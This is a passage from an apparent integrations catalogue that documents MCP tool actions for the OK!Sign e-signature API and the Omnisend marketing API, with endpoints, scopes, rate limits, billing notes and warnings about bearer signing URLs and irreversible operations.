Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. GET /api/v1/oksign/v1/linkedlist/retrieve. Scopes: api. oksign_get_metadata_retrieve (read) — Get document metadata (detailed) via GET /v1/metadata/retrieve. Retrieve the full metadata of a document: every signature box and form field with its position and completion state, the document's size, page count, last-modified time, lease expiry, and the signers defined on it. OK!SIGN MARKS THIS VERSION DEPRECATED in favour of the v2 form ('Get document metadata (summary)'), which is a different and much smaller shape rather than a newer spelling of this one -- measured 2026-09-24, v1 returns the per-field detail below and v2 returns a summary with a human-readable size. Both are shipped because neither is a superset of the other; prefer v2 unless you need field positions or completion state. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. GET /api/v1/oksign/v1/metadata/retrieve. Scopes: api. oksign_get_metadata_retrieve_v2 (read) — Get document metadata (summary) via GET /v2/metadata/retrieve. Retrieve a document's summary metadata: filename, human-readable size, how many signatures it requires and how many are valid, its fields and its signers. The current version of the metadata service, and the only operation in the whole API served under /v2. THE ONLY /v2 ROUTE OK!SIGN SERVES. Measured 2026-09-24: /v2 answers for `metadata/retrieve` and returns an EMPTY BODY for any other noun, while /v3 answers "Only 'v1' version supported." -- so the version segment is not a general API version and nothing else can be reached by changing it. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. GET /api/v1/oksign/v2/metadata/retrieve. Scopes: api. oksign_get_signexpress_retrieve (read) — Get a SignExpress session via GET /v1/signexpress/retrieve. Read a SignExpress session back by its token: which documents it covers, its signer, its validity period, its return and callback URLs and when it expires. THE REPLY NAMES YOUR ORGANIZATIONAL TOKEN in `orgtoken`. That is the third part of the credential you pasted, and it is returned deliberately rather than withheld: OK!Sign treats it as a namespace label, not a secret -- it sends it in the clear as &orgtoken= on every callback -- and it is useless without the account number and authentication token. The full credential triple IS withheld wherever it appears. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. GET /api/v1/oksign/v1/signexpress/retrieve. Scopes: api. oksign_get_users_retrieve (read) — List account users via GET /v1/users/retrieve. List every user (teammember) on the OK!Sign account with their name, email, role, language, status and immutable signerid. The signerid is what a form descriptor references to make a teammember countersign a document. THIS RETURNS EVERY USER ON THE ACCOUNT, including their email addresses, whichever organizational token the key carries -- the credential is account-wide and there is no narrower form of it. A signerid is immutable once assigned. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. GET /api/v1/oksign/v1/users/retrieve. Scopes: api. oksign_get_webhooks_retrieve (read) — List webhook notifications via GET /v1/webhooks/retrieve. List the notification delivery events OK!Sign recorded in a time window -- which email or SMS was blocked, bounced or deferred, to whom, and why. The polling alternative to receiving them on a webhook URL. BOTH TIMESTAMPS ARE REQUIRED ('Date cannot be null.' without them). RATE LIMITED TO ONE REQUEST EVERY THREE MINUTES, 429 on the second. AN EVENT IS LOST WHEN ITS DOCUMENT IS REMOVED, so read this before 'Remove a document', not after. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. GET /api/v1/oksign/v1/webhooks/retrieve. Scopes: api. oksign_post_briefcase_create (write) — Create a briefcase via POST /v1/briefcase/create. Bundle several already-uploaded documents into one briefcase so a signer signs the whole set in a single session instead of once per document. Returns the briefcase's own docid. THE BRIEFCASE GETS ITS OWN DOCID, returned as a TOP-LEVEL `docid` field beside `status` rather than inside `reason` -- one of the few replies in this API shaped that way. Use that docid with the briefcase actions, not the docids you bundled. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. POST /api/v1/oksign/v1/briefcase/create. Scopes: api. oksign_post_contacts_remove (write, destructive) — Remove contacts via POST /v1/contacts/remove. Remove contacts from the account's address book by name and email. Returns how many were removed. DESTRUCTIVE ON A POST, WHICH IS THE PROVIDER'S CHOICE OF VERB, not a classification mistake -- OK!Sign serves this as POST /v1/contacts/remove and Agentic Fabriq marks it destructive on what it does, not on its method. IRREVERSIBLE: there is no undo, and a removed contact must be re-added with 'Add or update contacts'. Documents already signed are unaffected. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. POST /api/v1/oksign/v1/contacts/remove. Scopes: api. oksign_post_contacts_upload (write) — Add or update contacts via POST /v1/contacts/upload. Add contacts to the account's address book, or update the ones whose email already exists. Returns how many were written. Contacts are what the EditorExpress signer picker offers. SETTING `clean` TO TRUE REPLACES THE ENTIRE ADDRESS BOOK with just the contacts in this call -- every other contact in the account is dropped. Omit it to merge, which is what you almost always want. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. POST /api/v1/oksign/v1/contacts/upload. Scopes: api. oksign_post_editorexpress_create (write) — Create an EditorExpress session via POST /v1/editorexpress/create. Mint a time-limited URL onto the OK!Sign document editor so a person can place the signature boxes and choose the signers themselves, instead of your application computing field coordinates. Returns the session token and the URL. EITHER THIS CALL OR THE ORGANIZATIONAL TOKEN MUST DEFINE A RETURN URL, or the call is refused -- set one here, or once for the whole key with 'Update the API key's callback URLs'. THE REPLY CARRIES A BEARER EDITOR URL: whoever holds it can edit the document's fields. AN ATTACHMENT CANNOT BE ADDED AFTER A FORM DESCRIPTOR EXISTS on the same document (measured 2026-09-24). EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. POST /api/v1/oksign/v1/editorexpress/create. Scopes: api. oksign_post_formdesc_upload (write) — Upload a form descriptor via POST /v1/formdesc/upload. Lay a form descriptor over an uploaded document: the signature boxes and form fields, where each one sits, which signer owns it and which signing methods that box offers. THIS IS THE ACTION THAT RETURNS THE SIGNING URLS -- one per signer, in `reason`, each to be sent to its signer. A DESCRIPTOR IS IMMUTABLE, AND THIS ACTION RUNS ONCE PER DOCUMENT. Measured 2026-09-24: a second call on the same docid is refused with "A descriptor is immutable. Please remove the document first (document/remove service) and re-upload document and descriptor." There is no replace and no partial edit -- changing the field layout means removing the document and starting again, which also means the docid changes and any signing URL already sent stops working. A human CAN still move fields in the Document Editor afterwards; read the result back with 'Get a form descriptor'. THE REPLY CARRIES BEARER SIGNING URLS. Each url in `reason` lets whoever holds it sign as that signer, with no further authentication -- that is the design, and sending them is the point of this action. They are NOT withheld by Agentic Fabriq, because doing so would leave this action with no output; treat them as you would a password reset link. UPLOAD THE DOCUMENT FIRST: the docid must already exist. THE DESCRIPTOR CAN BE COPIED FROM THE UI -- open the document in the Document Editor, place the fields, and use the API button to copy the exact JSON. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. POST /api/v1/oksign/v1/formdesc/upload. Scopes: api. oksign_post_notifications_upload (write) — Upload notifications via POST /v1/notifications/upload. Define the emails and/or SMS messages OK!Sign sends to tell signers a document is ready, including reminders and repeats. OK!Sign appends the signing link to the message itself. A FREE OK!SIGN ACCOUNT MAY SEND ONLY 20 API-TRIGGERED EMAILS in total; past that the messages stop and this action is the one that stops working. Delivery failures do not surface here -- read them with 'List webhook notifications', or receive them on the webhook URL. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. POST /api/v1/oksign/v1/notifications/upload. Scopes: api. oksign_post_orgtokeninfo_update (write) — Update the API key's callback URLs via POST /v1/orgtokeninfo/update. Set the default callback, return and webhook URLs for the organizational token this connection's credential carries. Every session and briefcase created with this key falls back to these when it does not name its own. THIS CHANGES SHARED CONFIGURATION, NOT THIS CONNECTION'S. The three URLs belong to the ORGANIZATIONAL TOKEN inside the OK!Sign account, so every other integration, script or person using a key with the same organizational token is redirected too, immediately. ALL THREE FIELDS ARE REQUIRED and the call replaces all three -- there is no partial update and no API that reads the current values back, so record them from the OK!Sign API Console before overwriting them. Setting a return URL here is also the account-wide way to satisfy 'Create an EditorExpress session', which refuses to run without one. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. POST /api/v1/oksign/v1/orgtokeninfo/update. Scopes: api. oksign_post_signexpress_create (write) — Create a SignExpress session via POST /v1/signexpress/create. Mint a time-limited signing URL for one named signer over one or more prepared documents, for face-to-face signing or to embed in your own application. Returns the session token and the URL. UPLOAD A FORM DESCRIPTOR FIRST. Without one the call is refused with 'Empty or invalid FormDescriptor (missing signerurls)' and '<signerid> not found in signerurls' -- measured 2026-09-24, and it is the most likely way this action fails. THE REPLY CARRIES A BEARER SIGNING URL: whoever holds it can sign as that signer. It is the output of the action and is not withheld. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. POST /api/v1/oksign/v1/signexpress/create. Scopes: api. ================================================================================ ## Omnisend URL: https://www.agenticfabriq.com/integrations/omnisend Section: Integrated Tools Omnisend — 87 MCP tools Provider key: omnisend. Scopes: accounts.write, analytics.read, automations.read, automations.write, brands.write, campaigns.read, campaigns.write, contacts.read, contacts.write, email-templates.read, email-templates.write, events.read, events.write, forms.read, images.read, images.write, products.read, products.write, segments.read, segments.write, sessions.write. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your own OAuth app, coming soon; API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. omnisend_delete_automations_by_id (write, destructive) — Delete automation workflow. DELETE /automations/{id}. Delete a single automation workflow by ID. This operation is idempotent — deleting a non-existent automation returns a success response. This endpoint is rate limited to 400 requests per minute. DELETE /api/v1/omnisend/automations/{id}. Scopes: automations.write. omnisend_delete_campaigns_by_id (write, destructive) — Delete campaign. DELETE /campaigns/{id}. Delete a campaign. This endpoint is rate limited to 400 requests per minute. DELETE /api/v1/omnisend/campaigns/{id}. Scopes: campaigns.write. omnisend_delete_contacts_tags (write, destructive) — Batch remove tags. DELETE /contacts/tags. Removes the specified tags from contacts selected by contact IDs, emails, phone numbers or a segment. At least one of contactIDs, emails, phones or segmentID is required. Selectors can be combined and are applied additively — the tags are removed from the union of all matched contacts: every contact in contactIDs, every contact matched by an address in emails, every contact matched by a number in phones and every member of segmentID. A contact matched by more than one selector is processed once. Emails and phones with no matching contact are silently ignored. DELETE /api/v1/omnisend/contacts/tags. Scopes: contacts.write. omnisend_delete_email_templates_by_id (write, destructive) — Delete email template. DELETE /email-templates/{id}. With this endpoint you can delete email template by ID. This endpoint is rate limited to 400 requests per minute. DELETE /api/v1/omnisend/email-templates/{id}. Scopes: email-templates.write. omnisend_delete_email_universal_layouts_by_id (write, destructive) — Delete universal layout. DELETE /email-universal-layouts/{id}. With this endpoint you can delete a universal layout by ID. This endpoint is rate limited to 400 requests per minute. DELETE /api/v1/omnisend/email-universal-layouts/{id}. Scopes: email-templates.write. omnisend_delete_images_by_id (write, destructive) — Delete image. DELETE /images/{id}. With this endpoint you can delete an image by ID. This endpoint is rate limited to 400 requests per minute. DELETE /api/v1/omnisend/images/{id}. Scopes: images.write. omnisend_delete_product_categories_by_categoryid (write, destructive) — Delete product category. DELETE /product-categories/{categoryID}. With this endpoint you can delete product category. Check POSTMAN documentation This endpoint is rate limited to 400 requests per minute. DELETE /api/v1/omnisend/product-categories/{categoryID}. Scopes: products.write. omnisend_delete_products_by_productid (write, destructive) — Delete product. DELETE /products/{productID}. Delete product by ID This endpoint is rate limited to 400 requests per minute. DELETE /api/v1/omnisend/products/{productID}. Scopes: products.write. omnisend_delete_segments_by_segmentid (write, destructive) — Delete segment. DELETE /segments/{segmentID}. Permanently deletes a segment by its unique identifier. The segment must not be in a building state to be deleted. If the segment is currently being built, a 409 Conflict error is returned. This endpoint is rate limited to 100 requests per minute. DELETE /api/v1/omnisend/segments/{segmentID}. Scopes: segments.write. omnisend_get_automations (read) — List automation workflows. GET /automations. List automation workflows with filtering, sorting, and cursor-based pagination. Pagination: This endpoint uses cursor-based pagination. Use the paging.cursors.after value from the response to get the next page Use the paging.cursors.before value to get the previous page The paging.hasMore field indicates if more results are available Maximum page size is 250 items. Default: 100 This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/automations. Scopes: automations.read. omnisend_get_automations_by_id (read) — Get automation workflow. GET /automations/{id}. Get a single automation workflow by ID. This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/automations/{id}. Scopes: automations.read. omnisend_get_automations_by_id_blocks_by_blockid_utm (read) — Get UTM tags for an automation block. GET /automations/{id}/blocks/{blockID}/utm. Retrieve UTM tracking tags for a specific send-action block. Missing or cleared tags are returned with their default values. This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/automations/{id}/blocks/{blockID}/utm. Scopes: automations.read. omnisend_get_automations_by_id_utm (read) — Get aggregated UTM tags for all blocks. GET /automations/{id}/utm. Retrieve UTM tracking tags for all send-action blocks in an automation. Each block's tags include default-value synthesis for missing fields. This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/automations/{id}/utm. Scopes: automations.read. omnisend_get_batches (read) — Get batches. GET /batches. Get batches This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/batches. Scopes: contacts.read, events.read, products.read. omnisend_get_batches_by_batchid (read) — Get batch information. GET /batches/{batchID}. Get batch information This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/batches/{batchID}. Scopes: contacts.read, events.read, products.read. omnisend_get_batches_by_batchid_items (read) — Get batch items. GET /batches/{batchID}/items. Get batch items This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/batches/{batchID}/items. Scopes: contacts.read, events.read, products.read. omnisend_get_campaigns (read) — List campaigns with filtering, sorting, and cursor pagination. GET /campaigns. List campaigns with filtering, sorting, and cursor-based pagination. Filtering & sorting: Supported query parameters: nameContains, status, channel, type, parentCampaignID, createdAtFrom/createdAtTo, updatedAtFrom/updatedAtTo, sort, direction, limit, after, before. Only these documented parameters are accepted; any unknown parameter returns 400. sort accepts createdAt, updatedAt, or name; direction (asc/desc) is only valid together with sort. Pagination: This endpoint uses cursor-based pagination. GET /api/v1/omnisend/campaigns. Scopes: campaigns.read. omnisend_get_campaigns_by_id (read) — Get campaign. GET /campaigns/{id}. Get a single campaign by ID. This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/campaigns/{id}. Scopes: campaigns.read. omnisend_get_campaigns_by_id_utm (read) — Get campaign UTM settings. GET /campaigns/{id}/utm. Get UTM tag settings for a campaign. The response shape is the same for all campaign types: tags is populated for regular campaigns, variants for A/B campaigns. The absent field is omitted. This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/campaigns/{id}/utm. Scopes: campaigns.read. omnisend_get_contacts (read) — List contacts. GET /contacts. Returns a paginated list of contacts filtered by the provided query parameters. Filter restrictions: tag and status cannot be used together in the same request. updatedAtFrom cannot be combined with email, phone, status, segmentID, or tag. This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/contacts. Scopes: contacts.read. omnisend_get_contacts_by_id (read) — Get contact. GET /contacts/{id}. Returns the contact with the specified ID. This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/contacts/{id}. Scopes: contacts.read. omnisend_get_email_content_by_id (read) — Get email content. GET /email-content/{id}. With this endpoint you can get email content by ID. This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/email-content/{id}. Scopes: email-templates.read. omnisend_get_email_templates (read) — Get email templates. GET /email-templates. With this endpoint you can get a paginated list of email templates. Sorting: Use sort and direction to control the order of results. Supported sort fields: createdAt (default), name. Supported directions: asc, desc (default). Filtering: Use nameContains to filter templates by name (case-insensitive partial match, max 200 characters) Pagination: This endpoint uses cursor-based pagination for efficient traversal of large datasets. GET /api/v1/omnisend/email-templates. Scopes: email-templates.read. omnisend_get_email_templates_by_id (read) — Get email template. GET /email-templates/{id}. With this endpoint you can get email template by ID. This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/email-templates/{id}. Scopes: email-templates.read. omnisend_get_email_universal_layouts (read) — Get universal layouts. GET /email-universal-layouts. With this endpoint you can get a paginated list of universal layouts. Sorting: Items are returned in descending order by creation time (newest first). This is based on the internal document ID which contains a timestamp. Pagination: This endpoint uses cursor-based pagination for efficient traversal of large datasets. GET /api/v1/omnisend/email-universal-layouts. Scopes: email-templates.read. omnisend_get_email_universal_layouts_by_id (read) — Get universal layout. GET /email-universal-layouts/{id}. With this endpoint you can get a universal layout by ID. This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/email-universal-layouts/{id}. Scopes: email-templates.read. omnisend_get_forms_ab_setups_by_absetupid_report (read) — Get AB setup report. GET /forms/ab-setups/{abSetupID}/report. Get the report for an AB setup by its ID, including per-version form statistics. GET /api/v1/omnisend/forms/ab-setups/{abSetupID}/report. Scopes: forms.read. omnisend_get_forms_by_formid_contacts (read) — Get form submitted contacts. GET /forms/{formID}/contacts. Get a list of contacts for a form by form ID. GET /api/v1/omnisend/forms/{formID}/contacts. Scopes: forms.read. omnisend_get_images (read) — List images. GET /images. With this endpoint you can get a paginated list of images for a brand. Sorting: Supported sort fields: createdAt (default), name Supported directions: asc, desc (default) Filtering: Use nameContains to filter images by name (case-insensitive, partial match) Pagination: This endpoint uses cursor-based pagination for efficient traversal of large datasets. GET /api/v1/omnisend/images. Scopes: images.read. omnisend_get_images_by_id (read) — Get image. GET /images/{id}. With this endpoint you can get a single image by ID. This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/images/{id}. Scopes: images.read. omnisend_get_product_categories (read) — List product categories. GET /product-categories. List products categories Guide: Sync products catalog, categories Check POSTMAN documentation This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/product-categories. Scopes: products.read. omnisend_get_product_categories_by_categoryid (read) — Get product category. GET /product-categories/{categoryID}. Get product category by ID. Check POSTMAN documentation This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/product-categories/{categoryID}. Scopes: products.read. omnisend_get_products (read) — List products. GET /products. List products Guide: Sync products catalog, categories This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/products. Scopes: products.read. omnisend_get_products_by_productid (read) — Get product. GET /products/{productID}. Get product by ID This endpoint is rate limited to 400 requests per minute. GET /api/v1/omnisend/products/{productID}. Scopes: products.read. omnisend_get_segments (read) — List segments. GET /segments. List segments with sorting and cursor-based pagination support. Pagination: This endpoint uses cursor-based pagination. Use the after cursor from the response to get the next page, or the before cursor to get the previous page. Do not use both after and before parameters simultaneously. Sorting: Only single-field sorting is supported. You cannot sort by multiple fields. Available sort fields: createdAt (default), name. When sorting by name, segments are sorted lexicographically (case-sensitive). Sort parameters are only required on the first request. GET /api/v1/omnisend/segments. Scopes: segments.read. omnisend_get_segments_by_segmentid (read) — Get segment. GET /segments/{segmentID}. Returns a segment by its unique identifier. This endpoint is rate limited to 100 requests per minute. GET /api/v1/omnisend/segments/{segmentID}. Scopes: segments.read. omnisend_get_segments_by_segmentid_statistics (read) — Get segment statistics. GET /segments/{segmentID}/statistics. Returns statistics for a segment, including the total number of matching contacts. This endpoint is rate limited to 100 requests per minute. GET /api/v1/omnisend/segments/{segmentID}/statistics. Scopes: segments.read. omnisend_patch_automations_by_id (write) — Patch automation workflow. PATCH /automations/{id}. Partially update an automation workflow. Only the fields provided in the request body are updated. Enabled automations cannot be patched. Disable the automation via POST /automations/{id}/disable, make changes, then re-enable via POST /automations/{id}/enable when ready. When disabling, contactsInWorkflow controls whether contacts already in the workflow continue through the remaining blocks (keep) or exit immediately (exit). Enable/disable state is controlled exclusively via the /automations/{id}/enable and /automations/{id}/disable endpoints. PATCH /api/v1/omnisend/automations/{id}. Scopes: automations.write. omnisend_patch_brands_current (write) — Update brand. PATCH /brands/current. Update brand information. All fields are optional — include only the fields you want to change. OAuth connections only; refused on an API-key connection. PATCH /api/v1/omnisend/brands/current. Scopes: brands.write. omnisend_patch_campaigns_by_id (write) — Update campaign (draft status only). PATCH /campaigns/{id}. Update a campaign draft. Only campaigns in 'draft' status can be updated; any other status returns 409. To change a campaign that is no longer a draft, copy it and edit the new draft copy. This endpoint is rate limited to 400 requests per minute. PATCH /api/v1/omnisend/campaigns/{id}. Scopes: campaigns.write. omnisend_patch_contacts (write) — Update contact by email. PATCH /contacts. Updates the contact matching the provided email address. This endpoint is rate limited to 400 requests per minute. PATCH /api/v1/omnisend/contacts. Scopes: contacts.write. omnisend_patch_contacts_by_id (write) — Update contact by ID. PATCH /contacts/{id}. Updates the contact with the specified ID. This endpoint is rate limited to 400 requests per minute. PATCH /api/v1/omnisend/contacts/{id}. Scopes: contacts.write. omnisend_patch_product_categories_by_categoryid (write) — Update product category. PATCH /product-categories/{categoryID}. Update product category by ID. Check POSTMAN documentation This endpoint is rate limited to 400 requests per minute. PATCH /api/v1/omnisend/product-categories/{categoryID}. Scopes: products.write. omnisend_post_accounts (write) — Create account. POST /accounts. Create a new Omnisend account with a primary user and brand. Returns identifiers needed for subsequent session and brand operations. OAuth connections only; refused on an API-key connection. POST /api/v1/omnisend/accounts. Scopes: accounts.write. omnisend_post_analytics_reports (write) — Generate report (by send date). POST /analytics/reports. Returns aggregated marketing analytics grouped by message send date. Covers delivery, engagement, and revenue attribution metrics for campaigns and automations. Supports optional dimensions (timestamp, channel, activity), filters, and up to 4 queries per request. This endpoint is rate limited to 10 requests per minute and 55 requests per 24 hours. Rate limits apply per brand. See Rate limits. POST /api/v1/omnisend/analytics/reports. Scopes: analytics.read. omnisend_post_analytics_statistics (write) — Generate statistics report (by event date). POST /analytics/statistics. Returns aggregated marketing analytics grouped by event date (when opens, clicks, orders actually occurred). Covers delivery, engagement, revenue attribution, and audience growth metrics. Requires a timestamp dimension. Supports a rich set of dimensions (client, click, subscription, deliverability) and up to 4 queries per request. This endpoint is rate limited to 10 requests per minute and 55 requests per 24 